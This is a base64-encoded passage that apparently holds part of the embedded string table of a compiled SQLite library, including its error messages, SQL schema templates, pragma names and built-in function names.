2UAAABkYXRhYmFzZSBpcyBhbHJlYWR5IGF0dGFjaGVkAAAAAAAAAABhdHRhY2hlZCBkYXRhYmFzZXMgbXVzdCB1c2UgdGhlIHNhbWUgdGV4dCBlbmNvZGluZyBhcyBtYWluIGRhdGFiYXNlAHVuYWJsZSB0byBvcGVuIGRhdGFiYXNlOiAlcwBubyBzdWNoIGRhdGFiYXNlOiAlcwAAAABjYW5ub3QgZGV0YWNoIGRhdGFiYXNlICVzAAAAZGF0YWJhc2UgJXMgaXMgbG9ja2VkAAAAc3FsaXRlX2RldGFjaAAAAHNxbGl0ZV9hdHRhY2gAAAAlcyAlVCBjYW5ub3QgcmVmZXJlbmNlIG9iamVjdHMgaW4gZGF0YWJhc2UgJXMAAAAlcyBjYW5ub3QgdXNlIHZhcmlhYmxlcwBhdXRob3JpemVyIG1hbGZ1bmN0aW9uAAAlcy4lcwAAACVzLiV6AAAAYWNjZXNzIHRvICV6IGlzIHByb2hpYml0ZWQAAG5vdCBhdXRob3JpemVkAABzcWxpdGVfdGVtcF9tYXN0ZXIAAHByYWdtYV8Abm8gc3VjaCB2aWV3AAAAAG5vIHN1Y2ggdGFibGUAAABtYWluAAAAAGNvcnJ1cHQgZGF0YWJhc2UAAAAAdW5rbm93biBkYXRhYmFzZSAlVABvYmplY3QgbmFtZSByZXNlcnZlZCBmb3IgaW50ZXJuYWwgdXNlOiAlcwAAAHRlbXBvcmFyeSB0YWJsZSBuYW1lIG11c3QgYmUgdW5xdWFsaWZpZWQAAAAAdGFibGUgJVQgYWxyZWFkeSBleGlzdHMAdGhlcmUgaXMgYWxyZWFkeSBhbiBpbmRleCBuYW1lZCAlcwAAdG9vIG1hbnkgY29sdW1ucyBvbiAlcwAAZHVwbGljYXRlIGNvbHVtbiBuYW1lOiAlcwAAAGRlZmF1bHQgdmFsdWUgb2YgY29sdW1uIFslc10gaXMgbm90IGNvbnN0YW50AAAAAHRhYmxlICIlcyIgaGFzIG1vcmUgdGhhbiBvbmUgcHJpbWFyeSBrZXkAAAAASU5URUdFUgBBVVRPSU5DUkVNRU5UIGlzIG9ubHkgYWxsb3dlZCBvbiBhbiBJTlRFR0VSIFBSSU1BUlkgS0VZACwAAAAKICAALAogIAAAAAAKKQAAQ1JFQVRFIFRBQkxFIAAAACBURVhUAAAAIE5VTQAAAAAgSU5UAAAAACBSRUFMAAAAQVVUT0lOQ1JFTUVOVCBub3QgYWxsb3dlZCBvbiBXSVRIT1VUIFJPV0lEIHRhYmxlcwAAAFBSSU1BUlkgS0VZIG1pc3Npbmcgb24gdGFibGUgJXMAVEFCTEUAAABWSUVXAAAAAENSRUFURSAlcyAlLipzAABVUERBVEUgJVEuJXMgU0VUIHR5cGU9JyVzJywgbmFtZT0lUSwgdGJsX25hbWU9JVEsIHJvb3RwYWdlPSMlZCwgc3FsPSVRIFdIRVJFIHJvd2lkPSMlZAAAQ1JFQVRFIFRBQkxFICVRLnNxbGl0ZV9zZXF1ZW5jZShuYW1lLHNlcSkAAAB0YmxfbmFtZT0nJXEnIEFORCB0eXBlIT0ndHJpZ2dlcicAAABwYXJhbWV0ZXJzIGFyZSBub3QgYWxsb3dlZCBpbiB2aWV3cwB2aWV3ICVzIGlzIGNpcmN1bGFybHkgZGVmaW5lZAAAAGNvcnJ1cHQgc2NoZW1hAABVUERBVEUgJVEuJXMgU0VUIHJvb3RwYWdlPSVkIFdIRVJFICMlZCBBTkQgcm9vdHBhZ2U9IyVkAHNxbGl0ZV9zdGF0JWQAAABERUxFVEUgRlJPTSAlUS5zcWxpdGVfc2VxdWVuY2UgV0hFUkUgbmFtZT0lUQAAAABERUxFVEUgRlJPTSAlUS4lcyBXSEVSRSB0YmxfbmFtZT0lUSBhbmQgdHlwZSE9J3RyaWdnZXInAHN0YXQAAAAAdGFibGUgJXMgbWF5IG5vdCBiZSBkcm9wcGVkAHVzZSBEUk9QIFRBQkxFIHRvIGRlbGV0ZSB0YWJsZSAlcwAAAHVzZSBEUk9QIFZJRVcgdG8gZGVsZXRlIHZpZXcgJXMAZm9yZWlnbiBrZXkgb24gJXMgc2hvdWxkIHJlZmVyZW5jZSBvbmx5IG9uZSBjb2x1bW4gb2YgdGFibGUgJVQAAAAAAABudW1iZXIgb2YgY29sdW1ucyBpbiBmb3JlaWduIGtleSBkb2VzIG5vdCBtYXRjaCB0aGUgbnVtYmVyIG9mIGNvbHVtbnMgaW4gdGhlIHJlZmVyZW5jZWQgdGFibGUAAAB1bmtub3duIGNvbHVtbiAiJXMiIGluIGZvcmVpZ24ga2V5IGRlZmluaXRpb24AAABGSVJTVAAAAExBU1QAAAAAdW5zdXBwb3J0ZWQgdXNlIG9mIE5VTExTICVzAGluZGV4AAAAY2Fubm90IGNyZWF0ZSBhIFRFTVAgaW5kZXggb24gbm9uLVRFTVAgdGFibGUgIiVzIgAAAHRhYmxlICVzIG1heSBub3QgYmUgaW5kZXhlZAB2aWV3cyBtYXkgbm90IGJlIGluZGV4ZWQAAAAAdmlydHVhbCB0YWJsZXMgbWF5IG5vdCBiZSBpbmRleGVkAAAAdGhlcmUgaXMgYWxyZWFkeSBhIHRhYmxlIG5hbWVkICVzAAAAaW5kZXggJXMgYWxyZWFkeSBleGlzdHMAc3FsaXRlX2F1dG9pbmRleF8lc18lZAAAZXhwcmVzc2lvbnMgcHJvaGliaXRlZCBpbiBQUklNQVJZIEtFWSBhbmQgVU5JUVVFIGNvbnN0cmFpbnRzAAAAAGNvbmZsaWN0aW5nIE9OIENPTkZMSUNUIGNsYXVzZXMgc3BlY2lmaWVkAAAAaW52YWxpZCByb290cGFnZQAAAAAgVU5JUVVFAENSRUFURSVzIElOREVYICUuKnMASU5TRVJUIElOVE8gJVEuJXMgVkFMVUVTKCdpbmRleCcsJVEsJVEsIyVkLCVRKTsAbmFtZT0nJXEnIEFORCB0eXBlPSdpbmRleCcAAG5vIHN1Y2ggaW5kZXg6ICVTAAAAAAAAAGluZGV4IGFzc29jaWF0ZWQgd2l0aCBVTklRVUUgb3IgUFJJTUFSWSBLRVkgY29uc3RyYWludCBjYW5ub3QgYmUgZHJvcHBlZAAAAABERUxFVEUgRlJPTSAlUS4lcyBXSEVSRSBuYW1lPSVRIEFORCB0eXBlPSdpbmRleCcAAAAAdG9vIG1hbnkgRlJPTSBjbGF1c2UgdGVybXMsIG1heDogJWQAT04AAFVTSU5HAAAAYSBKT0lOIGNsYXVzZSBpcyByZXF1aXJlZCBiZWZvcmUgJXMAQkVHSU4AAABST0xMQkFDSwAAAABDT01NSVQAAFJFTEVBU0UAdW5hYmxlIHRvIG9wZW4gYSB0ZW1wb3JhcnkgZGF0YWJhc2UgZmlsZSBmb3Igc3RvcmluZyB0ZW1wb3JhcnkgdGFibGVzAAAAaW5kZXggJyVxJwAALCAAACVzLnJvd2lkAAAAAHVuYWJsZSB0byBpZGVudGlmeSB0aGUgb2JqZWN0IHRvIGJlIHJlaW5kZXhlZAAAAGR1cGxpY2F0ZSBXSVRIIHRhYmxlIG5hbWU6ICVzAAAAbm8gc3VjaCBjb2xsYXRpb24gc2VxdWVuY2U6ICVzAAB0YWJsZSAlcyBtYXkgbm90IGJlIG1vZGlmaWVkAAAAAGNhbm5vdCBtb2RpZnkgJXMgYmVjYXVzZSBpdCBpcyBhIHZpZXcAAAByb3dzIGRlbGV0ZWQAAAAAdGV4dAAAAABibG9iAAAAAGludGVnZXIgb3ZlcmZsb3cAAAAAJS4qZgAAAABMSUtFIG9yIEdMT0IgcGF0dGVybiB0b28gY29tcGxleAAAAABFU0NBUEUgZXhwcmVzc2lvbiBtdXN0IGJlIGEgc2luZ2xlIGNoYXJhY3RlcgAAAAAlIS4yMGUAACAAAABNQVRDSAAAAGxpa2UAAAAAbG9hZF9leHRlbnNpb24AAHNxbGl0ZV9jb21waWxlb3B0aW9uX3VzZWQAAABzcWxpdGVfY29tcGlsZW9wdGlvbl9nZXQAAAAAdW5saWtlbHkAAAAAbGlrZWxpaG9vZAAAbGlrZWx5AABsdHJpbQAAAHJ0cmltAAAAdHJpbQAAAABtaW4AbWF4AHR5cGVvZgAAbGVuZ3RoAABpbnN0cgAAAHByaW50ZgAAdW5pY29kZQBjaGFyAAAAAGFicwByb3VuZAAAAHVwcGVyAAAAbG93ZXIAAABoZXgAaWZudWxsAAByYW5kb20AAHJhbmRvbWJsb2IAAG51bGxpZgAAc3FsaXRlX3ZlcnNpb24AAHNxbGl0ZV9zb3VyY2VfaWQAAAAAc3FsaXRlX2xvZwAAcXVvdGUAAABsYXN0X2luc2VydF9yb3dpZAAAAGNoYW5nZXMAdG90YWxfY2hhbmdlcwAAAHJlcGxhY2UAemVyb2Jsb2IAAAAAc3Vic3RyAABzdW0AdG90YWwAAABhdmcAY291bnQAAABncm91cF9jb25jYXQAAAAAZ2xvYgAAAABjb2FsZXNjZQAAAABmb3JlaWduIGtleSBtaXNtYXRjaCAtICIldyIgcmVmZXJlbmNpbmcgIiV3IgAAAAB0YWJsZSAlUyBoYXMgbm8gY29sdW1uIG5hbWVkICVzAHRhYmxlICVTIGhhcyAlZCBjb2x1bW5zIGJ1dCAlZCB2YWx1ZXMgd2VyZSBzdXBwbGllZAAlZCB2YWx1ZXMgZm9yICVkIGNvbHVtbnMAAAAAVVBTRVJUIG5vdCBpbXBsZW1lbnRlZCBmb3IgdmlydHVhbCB0YWJsZSAiJXMiAAAAcm93cyBpbnNlcnRlZAAAAGRsbABzcWxpdGUzX2V4dGVuc2lvbl9pbml0AAB1bmFibGUgdG8gb3BlbiBzaGFyZWQgbGlicmFyeSBbJXNdAABsaWIAX2luaXQAAABubyBlbnRyeSBwb2ludCBbJXNdIGluIHNoYXJlZCBsaWJyYXJ5IFslc10AAGVycm9yIGR1cmluZyBpbml0aWFsaXphdGlvbjogJXMAYXV0b21hdGljIGV4dGVuc2lvbiBsb2FkaW5nIGZhaWxlZDogJXMAAGlkAABzZXEAZnJvbQAAAABvbl91cGRhdGUAAABvbl9kZWxldGUAAABtYXRjaAAAAGNpZABuYW1lAAAAAHR5cGUAAAAAbm90bnVsbABkZmx0X3ZhbHVlAABwawAAaGlkZGVuAABzZXFubwAAAGRlc2MAAAAAY29sbAAAAABrZXkAd2R0aAAAAABoZ2h0AAAAAGZsZ3MAAAAAdW5pcXVlAABvcmlnaW4AAHBhcnRpYWwAcm93aWQAAABwYXJlbnQAAGZraWQAAAAAZmlsZQAAAABidXN5AAAAAGxvZwBjaGVja3BvaW50ZWQAAAAAYnVpbHRpbgBkYXRhYmFzZQAAAABzdGF0dXMAAGNhY2hlX3NpemUAAHRpbWVvdXQAYXBwbGljYXRpb25faWQAAGF1dG9fdmFjdXVtAGF1dG9tYXRpY19pbmRleABidXN5X3RpbWVvdXQAAAAAY2FjaGVfc3BpbGwAY2FzZV9zZW5zaXRpdmVfbGlrZQBjZWxsX3NpemVfY2hlY2sAY2hlY2twb2ludF9mdWxsZnN5bmMAAAAAY29sbGF0aW9uX2xpc3QAAGNvbXBpbGVfb3B0aW9ucwBjb3VudF9jaGFuZ2VzAAAAZGF0YV9zdG9yZV9kaXJlY3RvcnkAAAAAZGF0YV92ZXJzaW9uAAAAAGRhdGFiYXNlX2xpc3QAAABkZWZlcl9mb3JlaWduX2tleXMAAGVtcHR5X3Jlc3VsdF9jYWxsYmFja3MAAGVuY29kaW5nAAAAAGZvcmVpZ25fa2V5X2NoZWNrAAAAZm9yZWlnbl9rZXlfbGlzdAAAAABmb3JlaWduX2tleXMAAAAAZnJlZWxpc3RfY291bnQAAGZ1bGxfY29sdW1uX25hbWVzAAAAZnVsbGZzeW5jAAAAZnVuY3Rpb25fbGlzdAAAAGlnbm9yZV9jaGVja19jb25zdHJhaW50cwAAAABpbmNyZW1lbnRhbF92YWN1dW0AAGluZGV4X2luZm8AAGluZGV4X2xpc3QAAGluZGV4X3hpbmZvAGludGVncml0eV9jaGVjawBqb3VybmFsX21vZGUAAAAAam91cm5hbF9zaXplX2xpbWl0AABsZWdhY3lfYWx0ZXJfdGFibGUAAGxlZ2FjeV9maWxlX2Zvcm1hdAAAbG9ja2luZ19tb2RlAAAAAG1heF9wYWdlX2NvdW50AABtbWFwX3NpemUAAABtb2R1bGVfbGlzdABvcHRpbWl6ZQAAAABwYWdlX2NvdW50AABwYWdlX3NpemUAAABwcmFnbWFfbGlzdABxdWVyeV9vbmx5AABxdWlja19jaGVjawByZWFkX3VuY29tbWl0dGVkAAAAAHJlY3Vyc2l2ZV90cmlnZ2VycwAAcmV2ZXJzZV91bm9yZGVyZWRfc2VsZWN0cwAAAHNjaGVtYV92ZXJzaW9uAABzZWN1cmVfZGVsZXRlAAAAc2hvcnRfY29sdW1uX25hbWVzAABzaHJpbmtfbWVtb3J5AAAAc29mdF9oZWFwX2xpbWl0AHN5bmNocm9ub3VzAHRhYmxlX2luZm8AAHRhYmxlX3hpbmZvAHRlbXBfc3RvcmUAAHRlbXBfc3RvcmVfZGlyZWN0b3J5AAAAAHRocmVhZHMAdXNlcl92ZXJzaW9uAAAAAHdhbF9hdXRvY2hlY2twb2ludAAAd2FsX2NoZWNrcG9pbnQAAHdyaXRhYmxlX3NjaGVtYQBleGNsdXNpdmUAAABub3JtYWwAAG5vbmUAAAAAZnVsbAAAAABpbmNyZW1lbnRhbABtZW1vcnkAAHRlbXBvcmFyeSBzdG9yYWdlIGNhbm5vdCBiZSBjaGFuZ2VkIGZyb20gd2l0aGluIGEgdHJhbnNhY3Rpb24AAABTRVQgTlVMTAAAAABTRVQgREVGQVVMVABDQVNDQURFAFJFU1RSSUNUAAAAAE5PIEFDVElPTgAAAGRlbGV0ZQAAcGVyc2lzdABvZmYAdHJ1bmNhdGUAAAAAd2FsAC0lVABmYXN0AAAAAG5vdCBhIHdyaXRhYmxlIGRpcmVjdG9yeQAAAABTYWZldHkgbGV2ZWwgbWF5IG5vdCBiZSBjaGFuZ2VkIGluc2lkZSBhIHRyYW5zYWN0aW9uAAAAAGlzc2lzaWkAaXNzaXNpAABpaXNYAAAAAGlzaVgAAAAAYwAAAHUAAABpc2lzaQAAAGlzcwBpcwAAc2kAAHMAAABOT05FAAAAAGlpc3Nzc3NzAAAAAHNpWAAqKiogaW4gZGF0YWJhc2UgJXMgKioqCgBOVUxMIHZhbHVlIGluICVzLiVzAENIRUNLIGNvbnN0cmFpbnQgZmFpbGVkIGluICVzAAAAcm93IAAAAAAgbWlzc2luZyBmcm9tIGluZGV4IAAAAABub24tdW5pcXVlIGVudHJ5IGluIGluZGV4IAAAd3JvbmcgIyBvZiBlbnRyaWVzIGluIGluZGV4IAAAAABvawAAVVRGOAAAAABVVEYtOAAAAFVURi0xNmxlAAAAAFVURi0xNmJlAAAAAFVURjE2bGUAVVRGMTZiZQBVVEYtMTYAAFVURjE2AAAAdW5zdXBwb3J0ZWQgZW5jb2Rpbmc6ICVzAAAAAHJlc3RhcnQAQU5BTFlaRSAiJXciLiIldyIAAABDUkVBVEUgVEFCTEUgeAAAJWMiJXMiAAAoIiVzIgAAACxhcmcgSElEREVOACxzY2hlbWEgSElEREVOAABQUkFHTUEgACVRLgA9JVEAPwAAAG1hbGZvcm1lZCBkYXRhYmFzZSBzY2hlbWEgKCVzKQAAJXogLSAlcwBjcmVhdGUgAG9ycGhhbiBpbmRleAAAAAAAAAAAQ1JFQVRFIFRBQkxFIHgodHlwZSB0ZXh0LG5hbWUgdGV4dCx0YmxfbmFtZSB0ZXh0LHJvb3RwYWdlIGludCxzcWwgdGV4dCkAdW5zdXBwb3J0ZWQgZmlsZSBmb3JtYXQAU0VMRUNUKkZST00iJXciLiVzIE9SREVSIEJZIHJvd2lkAAAAc3RhdGVtZW50IHRvbyBsb25nAABhZGRyAAAAAG9wY29kZQAAcDEAAHAyAABwMwAAcDQAAHA1AABjb21tZW50AG5vdHVzZWQAZGV0YWlsAAB1bmtub3duIG9yIHVuc3VwcG9ydGVkIGpvaW4gdHlwZTogJVQgJVQlcyVUAFJJR0hUIGFuZCBGVUxMIE9VVEVSIEpPSU5zIGFyZSBub3QgY3VycmVudGx5IHN1cHBvcnRlZAAAYSBOQVRVUkFMIGpvaW4gbWF5IG5vdCBoYXZlIGFuIE9OIG9yIFVTSU5HIGNsYXVzZQAAAGNhbm5vdCBoYXZlIGJvdGggT04gYW5kIFVTSU5HIGNsYXVzZXMgaW4gdGhlIHNhbWUgam9pbgAAAAAAAGNhbm5vdCBqb2luIHVzaW5nIGNvbHVtbiAlcyAtIGNvbHVtbiBub3QgcHJlc2VudCBpbiBib3RoIHRhYmxlcwBVTklPTiBBTEwAAABJTlRFUlNFQ1QAAABFWENFUFQAAFVOSU9OAAAAVVNFIFRFTVAgQi1UUkVFIEZPUiAlcwAAY29sdW1uJWQAAAAAJS4qejoldQBjYW5ub3QgdXNlIHdpbmRvdyBmdW5jdGlvbnMgaW4gcmVjdXJzaXZlIHF1ZXJpZXMAAAAAU0VUVVAAAAByZWN1cnNpdmUgYWdncmVnYXRlIHF1ZXJpZXMgbm90IHN1cHBvcnRlZAAAAFJFQ1VSU0lWRSBTVEVQAABTAAAAU0NBTiAlZCBDT05TVEFOVCBST1clcwAAT1JERVIgQlkAAAAATElNSVQAAAAlcyBjbGF1c2Ugc2hvdWxkIGNvbWUgYWZ0ZXIgJXMgbm90IGJlZm9yZQAAAENPTVBPVU5EIFFVRVJZAABMRUZULU1PU1QgU1VCUVVFUlkAACVzIFVTSU5HIFRFTVAgQi1UUkVFAAAAAGFsbCBWQUxVRVMgbXVzdCBoYXZlIHRoZSBzYW1lIG51bWJlciBvZiB0ZXJtcwAAAAAAAABTRUxFQ1RzIHRvIHRoZSBsZWZ0IGFuZCByaWdodCBvZiAlcyBkbyBub3QgaGF2ZSB0aGUgc2FtZSBudW1iZXIgb2YgcmVzdWx0IGNvbHVtbnMAAABNRVJHRSAoJXMpAABMRUZUAAAAAFJJR0hUAAAAbm8gc3VjaCBpbmRleDogJXMAAAAnJXMnIGlzIG5vdCBhIGZ1bmN0aW9uAABtdWx0aXBsZSByZWZlcmVuY2VzIHRvIHJlY3Vyc2l2ZSB0YWJsZTogJXMAAGNpcmN1bGFyIHJlZmVyZW5jZTogJXMAAHRhYmxlICVzIGhhcyAlZCB2YWx1ZXMgZm9yICVkIGNvbHVtbnMAAABtdWx0aXBsZSByZWN1cnNpdmUgcmVmZXJlbmNlczogJXMAAAByZWN1cnNpdmUgcmVmZXJlbmNlIGluIGEgc3VicXVlcnk6ICVzAAAAc3VicXVlcnlfJXUAdG9vIG1hbnkgcmVmZXJlbmNlcyB0byAiJXMiOiBtYXggNjU1MzUAAGFjY2VzcyB0byB2aWV3ICIlcyIgcHJvaGliaXRlZAAAKgAAACVzLiVzLiVzAAAAAG5vIHN1Y2ggdGFibGU6ICVzAAAAbm8gdGFibGVzIHNwZWNpZmllZAB0b28gbWFueSBjb2x1bW5zIGluIHJlc3VsdCBzZXQAAERJU1RJTkNUIGFnZ3JlZ2F0ZXMgbXVzdCBoYXZlIGV4YWN0bHkgb25lIGFyZ3VtZW50AAAgVVNJTkcgQ09WRVJJTkcgSU5ERVggAABTQ0FOIFRBQkxFICVzJXMlcwAAAGV4cGVjdGVkICVkIGNvbHVtbnMgZm9yICclcycgYnV0IGdvdCAlZABDTy1ST1VUSU5FICV1AAAATUFURVJJQUxJWkUgJXUAAERJU1RJTkNUAAAAAEdST1VQIEJZAAAAAFJJR0hUIFBBUlQgT0YgT1JERVIgQlkAAHNxbGl0ZTNfZ2V0X3RhYmxlKCkgY2FsbGVkIHdpdGggdHdvIG9yIG1vcmUgaW5jb21wYXRpYmxlIHF1ZXJpZXMAAAAAdGVtcG9yYXJ5IHRyaWdnZXIgbWF5IG5vdCBoYXZlIHF1YWxpZmllZCBuYW1lAAAAdHJpZ2dlcgBjYW5ub3QgY3JlYXRlIHRyaWdnZXJzIG9uIHZpcnR1YWwgdGFibGVzAAAAAHRyaWdnZXIgJVQgYWxyZWFkeSBleGlzdHMAAABjYW5ub3QgY3JlYXRlIHRyaWdnZXIgb24gc3lzdGVtIHRhYmxlAAAAQkVGT1JFAABBRlRFUgAAAGNhbm5vdCBjcmVhdGUgJXMgdHJpZ2dlciBvbiB2aWV3OiAlUwAAAABjYW5ub3QgY3JlYXRlIElOU1RFQUQgT0YgdHJpZ2dlciBvbiB0YWJsZTogJVMAAAAAAAAASU5TRVJUIElOVE8gJVEuJXMgVkFMVUVTKCd0cmlnZ2VyJywlUSwlUSwwLCdDUkVBVEUgVFJJR0dFUiAlcScpAHR5cGU9J3RyaWdnZXInIEFORCBuYW1lPSclcScAAAAAbm8gc3VjaCB0cmlnZ2VyOiAlUwBERUxFVEUgRlJPTSAlUS4lcyBXSEVSRSBuYW1lPSVRIEFORCB0eXBlPSd0cmlnZ2VyJwAALS0gVFJJR0dFUiAlcwAAAG5vIHN1Y2ggY29sdW1uOiAlcwAAcm93cyB1cGRhdGVkAAAAAAAAAABPTiBDT05GTElDVCBjbGF1c2UgZG9lcyBub3QgbWF0Y2ggYW55IFBSSU1BUlkgS0VZIG9yIFVOSVFVRSBjb25zdHJhaW50AABDUkUASU5TAGNhbm5vdCBWQUNVVU0gZnJvbSB3aXRoaW4gYSB0cmFuc2FjdGlvbgBjYW5ub3QgVkFDVVVNIC0gU1FMIHN0YXRlbWVudHMgaW4gcHJvZ3Jlc3MAAG5vbi10ZXh0IGZpbGVuYW1lAAAAQVRUQUNIICVRIEFTIHZhY3V1bV9kYgAAb3V0cHV0IGZpbGUgYWxyZWFkeSBleGlzdHMAAAAAAABTRUxFQ1Qgc3FsIEZST00gIiV3Ii5zcWxpdGVfbWFzdGVyIFdIRVJFIHR5cGU9J3RhYmxlJ0FORCBuYW1lPD4nc3FsaXRlX3NlcXVlbmNlJyBBTkQgY29hbGVzY2Uocm9vdHBhZ2UsMSk+MABTRUxFQ1Qgc3FsIEZST00gIiV3Ii5zcWxpdGVfbWFzdGVyIFdIRVJFIHR5cGU9J2luZGV4JwAAAAAAAABTRUxFQ1QnSU5TRVJUIElOVE8gdmFjdXVtX2RiLid8fHF1b3RlKG5hbWUpfHwnIFNFTEVDVCpGUk9NIiV3Ii4nfHxxdW90ZShuYW1lKUZST00gdmFjdXVtX2RiLnNxbGl0ZV9tYXN0ZXIgV0hFUkUgdHlwZT0ndGFibGUnQU5EIGNvYWxlc2NlKHJvb3RwYWdlLDEpPjAAAElOU0VSVCBJTlRPIHZhY3V1bV9kYi5zcWxpdGVfbWFzdGVyIFNFTEVDVCpGUk9NICIldyIuc3FsaXRlX21hc3RlciBXSEVSRSB0eXBlIElOKCd2aWV3JywndHJpZ2dlcicpIE9SKHR5cGU9J3RhYmxlJ0FORCByb290cGFnZT0wKQAAAENSRUFURSBWSVJUVUFMIFRBQkxFICVUAAAAAABVUERBVEUgJVEuJXMgU0VUIHR5cGU9J3RhYmxlJywgbmFtZT0lUSwgdGJsX25hbWU9JVEsIHJvb3RwYWdlPTAsIHNxbD0lUSBXSEVSRSByb3dpZD0jJWQAbmFtZT0nJXEnIEFORCB0eXBlPSd0YWJsZScAAHZ0YWJsZSBjb25zdHJ1Y3RvciBjYWxsZWQgcmVjdXJzaXZlbHk6ICVzAAAAdnRhYmxlIGNvbnN0cnVjdG9yIGZhaWxlZDogJXMAAAB2dGFibGUgY29uc3RydWN0b3IgZGlkIG5vdCBkZWNsYXJlIHNjaGVtYTogJXMAAABubyBzdWNoIG1vZHVsZTogJXMAADxleHByPgAAIEFORCAAAAAoAAAAICgAACVzPT8AAAAAQU5ZKCVzKQA+AAAAPAAAAFNFQVJDSAAAU0NBTgAAAAAgU1VCUVVFUlkgJXUAAAAAIFRBQkxFICVzAAAAIEFTICVzAABQUklNQVJZIEtFWQBBVVRPTUFUSUMgUEFSVElBTCBDT1ZFUklORyBJTkRFWAAAAABBVVRPTUFUSUMgQ09WRVJJTkcgSU5ERVgAAAAAQ09WRVJJTkcgSU5ERVggJXMAAABJTkRFWCAlcwAAAAAgVVNJTkcgAD0AAAA+PyBBTkQgcm93aWQ8AAAAIFVTSU5HIElOVEVHRVIgUFJJTUFSWSBLRVkgKHJvd2lkJXM/KQAAACBWSVJUVUFMIFRBQkxFIElOREVYICVkOiVzAAByZWdleHAAAE9OIGNsYXVzZSByZWZlcmVuY2VzIHRhYmxlcyB0byBpdHMgcmlnaHQAAAAAdG9vIG1hbnkgYXJndW1lbnRzIG9uICVzKCkgLSBtYXggJWQAYXV0b21hdGljIGluZGV4IG9uICVzKCVzKQAAAGF1dG8taW5kZXgAACVzLnhCZXN0SW5kZXggbWFsZnVuY3Rpb24AAABhYmJyZXZpYXRlZCBxdWVyeSBhbGdvcml0aG0gc2VhcmNoAABubyBxdWVyeSBzb2x1dGlvbgAAAGF0IG1vc3QgJWQgdGFibGVzIGluIGEgam9pbgBTQ0FOIENPTlNUQU5UIFJPVwAAAHNlY29uZCBhcmd1bWVudCB0byBudGhfdmFsdWUgbXVzdCBiZSBhIHBvc2l0aXZlIGludGVnZXIAYXJndW1lbnQgb2YgbnRpbGUgbXVzdCBiZSBhIHBvc2l0aXZlIGludGVnZXIAAAAAbm8gc3VjaCB3aW5kb3c6ICVzAAAAAAAAUkFOR0Ugd2l0aCBvZmZzZXQgUFJFQ0VESU5HL0ZPTExPV0lORyByZXF1aXJlcyBvbmUgT1JERVIgQlkgZXhwcmVzc2lvbgAARklMVEVSIGNsYXVzZSBtYXkgb25seSBiZSB1c2VkIHdpdGggYWdncmVnYXRlIHdpbmRvdyBmdW5jdGlvbnMAAHVuc3VwcG9ydGVkIGZyYW1lIHNwZWNpZmljYXRpb24AUEFSVElUSU9OIGNsYXVzZQAAAABPUkRFUiBCWSBjbGF1c2UAZnJhbWUgc3BlY2lmaWNhdGlvbgBjYW5ub3Qgb3ZlcnJpZGUgJXMgb2Ygd2luZG93OiAlcwAAAABESVNUSU5DVCBpcyBub3Qgc3VwcG9ydGVkIGZvciB3aW5kb3cgZnVuY3Rpb25zAABmcmFtZSBzdGFydGluZyBvZmZzZXQgbXVzdCBiZSBhIG5vbi1uZWdhdGl2ZSBpbnRlZ2VyAAAAAGZyYW1lIGVuZGluZyBvZmZzZXQgbXVzdCBiZSBhIG5vbi1uZWdhdGl2ZSBpbnRlZ2VyAABmcmFtZSBzdGFydGluZyBvZmZzZXQgbXVzdCBiZSBhIG5vbi1uZWdhdGl2ZSBudW1iZXIAZnJhbWUgZW5kaW5nIG9mZnNldCBtdXN0IGJlIGEgbm9uLW5lZ2F0aXZlIG51bWJlcgAAAHRvbyBtYW55IHRlcm1zIGluIGNvbXBvdW5kIFNFTEVDVAAAAHN5bnRheCBlcnJvciBhZnRlciBjb2x1bW4gbmFtZSAiJS4qcyIAAABwYXJzZXIgc3RhY2sgb3ZlcmZsb3cAAAB1bmtub3duIHRhYmxlIG9wdGlvbjogJS4qcwAAc2V0IGxpc3QAAAAAbmVhciAiJVQiOiBzeW50YXggZXJyb3IAAAAAAHF1YWxpZmllZCB0YWJsZSBuYW1lcyBhcmUgbm90IGFsbG93ZWQgb24gSU5TRVJULCBVUERBVEUsIGFuZCBERUxFVEUgc3RhdGVtZW50cyB3aXRoaW4gdHJpZ2dlcnMAAHRoZSBJTkRFWEVEIEJZIGNsYXVzZSBpcyBub3QgYWxsb3dlZCBvbiBVUERBVEUgb3IgREVMRVRFIHN0YXRlbWVudHMgd2l0aGluIHRyaWdnZXJzAAAAAAB0aGUgTk9UIElOREVYRUQgY2xhdXNlIGlzIG5vdCBhbGxvd2VkIG9uIFVQREFURSBvciBERUxFVEUgc3RhdGVtZW50cyB3aXRoaW4gdHJpZ2dlcnMAAAAAaW5jb21wbGV0ZSBpbnB1dAAAAAB1bnJlY29nbml6ZWQgdG9rZW46ICIlLipzIgAAJXMgaW4gIiVzIgAAY3JlYXRlAAB0ZW1wAAAAAHRlbXBvcmFyeQAAAGVuZABleHBsYWluAAAAAAB1bmFibGUgdG8gY2xvc2UgZHVlIHRvIHVuZmluYWxpemVkIHN0YXRlbWVudHMgb3IgdW5maW5pc2hlZCBiYWNrdXBzAG5vdCBhbiBlcnJvcgAAAABTUUwgbG9naWMgZXJyb3IAYWNjZXNzIHBlcm1pc3Npb24gZGVuaWVkAAAAAHF1ZXJ5IGFib3J0ZWQAAABkYXRhYmFzZSBpcyBsb2NrZWQAAGRhdGFiYXNlIHRhYmxlIGlzIGxvY2tlZAAAAABhdHRlbXB0IHRvIHdyaXRlIGEgcmVhZG9ubHkgZGF0YWJhc2UAAAAAaW50ZXJydXB0ZWQAZGlzayBJL08gZXJyb3IAAGRhdGFiYXNlIGRpc2sgaW1hZ2UgaXMgbWFsZm9ybWVkAAAAAHVua25vd24gb3BlcmF0aW9uAAAAZGF0YWJhc2Ugb3IgZGlzayBpcyBmdWxsAAAAAHVuYWJsZSB0byBvcGVuIGRhdGFiYXNlIGZpbGUAAAAAbG9ja2luZyBwcm90b2NvbAAAAABjb25zdHJhaW50IGZhaWxlZAAAAGRhdGF0eXBlIG1pc21hdGNoAAAAYmFkIHBhcmFtZXRlciBvciBvdGhlciBBUEkgbWlzdXNlAAAAYXV0aG9yaXphdGlvbiBkZW5pZWQAAAAAY29sdW1uIGluZGV4IG91dCBvZiByYW5nZQAAAGZpbGUgaXMgbm90IGEgZGF0YWJhc2UAAG5vdGlmaWNhdGlvbiBtZXNzYWdlAAAAAHdhcm5pbmcgbWVzc2FnZQB1bmtub3duIGVycm9yAAAAYWJvcnQgZHVlIHRvIFJPTExCQUNLAAAAYW5vdGhlciByb3cgYXZhaWxhYmxlAAAAbm8gbW9yZSByb3dzIGF2YWlsYWJsZQAAdW5hYmxlIHRvIGRlbGV0ZS9tb2RpZnkgdXNlci1mdW5jdGlvbiBkdWUgdG8gYWN0aXZlIHN0YXRlbWVudHMAAHVuYWJsZ